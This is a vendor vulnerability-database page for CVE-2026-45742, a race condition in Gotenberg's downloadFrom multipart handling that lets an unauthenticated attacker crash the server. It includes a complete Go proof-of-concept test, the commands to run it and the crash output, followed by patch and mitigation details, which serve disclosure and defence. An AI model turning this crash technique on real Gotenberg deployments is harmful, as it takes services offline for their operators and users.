Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-45742 — gotenberg

HIGHFix: gotenberg/gotenberg@6671b5e

CVE-2026-45742 is a high-severity (CVSS 7.5) CWE-362 vulnerability in github.com/gotenberg/gotenberg/v8. A fix is available for github.com/gotenberg/gotenberg/v8 — see the affected versions and patch details below.

Gotenberg: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Also known asGHSA-vp73-vjw8-8f32GO-2026-5669
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk
0.00%0.40%0.80%1.21%0.5%0.7%0.7%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-45742 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/gotenberg/gotenberg/v8

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

  • pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

  • ctx.files[filename] = path
  • ctx.diskToOriginal[path] = filename
  • ctx.filesByField[...] = append(...)

Affected lines in current main:

  • pkg/modules/api/context.go:395
  • pkg/modules/api/context.go:396
  • pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF'
//go:build security_poc

package api

import (
    "bytes"
    "encoding/json"
    "fmt"
    "log/slog"
    "mime/multipart"
    "net/http"
    "net/http/httptest"
    "sync"
    "testing"
    "time"

    "github.com/labstack/echo/v4"

    "github.com/gotenberg/gotenberg/v8/pkg/gotenberg"
)

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) {
    const downloads = 64

    var ready sync.WaitGroup
    ready.Add(downloads)
    release := make(chan struct{})
    var releaseOnce sync.Once

    server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        ready.Done()
        go func() {
            ready.Wait()
            releaseOnce.Do(func() {
                close(release)
            })
        }()
        <-release

        filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i"))
        w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
        _, _ = w.Write([]byte("downloaded"))
    }))
    defer server.Close()

    dls := make([]downloadFrom, downloads)
    for i := range dls {
        dls[i] = downloadFrom{
            Url:   fmt.Sprintf("%s/file?i=%d", server.URL, i),
            Field: "embedded",
        }
    }

    payload, err := json.Marshal(dls)
    if err != nil {
        t.Fatalf("marshal downloadFrom payload: %v", err)
    }

    body := new(bytes.Buffer)
    writer := multipart.NewWriter(body)
    err = writer.WriteField("downloadFrom", string(payload))
    if err != nil {
        t.Fatalf("write downloadFrom field: %v", err)
    }
    err = writer.Close()
    if err != nil {
        t.Fatalf("close multipart writer: %v", err)
    }

    req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body)
    req.Header.Set("Content-Type", writer.FormDataContentType())

    echoCtx := echo.New().NewContext(req, httptest.NewRecorder())
    logger := slog.New(slog.DiscardHandler)
    fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))
    downloadFromCfg := downloadFromConfig{
        maxRetry: 0,
    }

    ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)
    if err != nil {
        t.Fatalf("newContext returned error: %v", err)
    }
    defer cancel()

    if got := len(ctx.files); got != downloads {
        t.Fatalf("downloaded files = %d, want %d", got, downloads)
    }
}
EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1
rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE
Write at ...
  github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
    .../pkg/modules/api/context.go:395

WARNING: DATA RACE
  .../pkg/modules/api/context.go:396

WARNING: DATA RACE
  .../pkg/modules/api/context.go:401

Running the same PoC without -race also demonstrates practical process termination:

GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20

Observed result:

fatal error: concurrent map writes
github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
  .../pkg/modules/api/context.go:395
FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api

Impact

This is a remote denial-of-service vulnerability.

Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.

The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gotenberg/gotenberg/v8≥ 8.10.0&&< 8.33.08.33.0go get github.com/gotenberg/gotenberg/v8@v8.33.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/gotenberg/gotenberg/v8 to 8.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45742 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary Gotenberg is vulnerable to a remote denial of service in multipart `downloadFrom` handling. A multipart request containing multiple `downloadFrom` entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with `fatal error: concurrent map writes`. In the default configuration, `downloadFrom` is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker. ### Details The issue is in `pkg/modules/api/context.go`. `newContext` parses multipart requests and processes
O3 Security · Impact-Aware SCA

Is CVE-2026-45742 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-45742: gotenberg DoS — Fixed in 8.33.0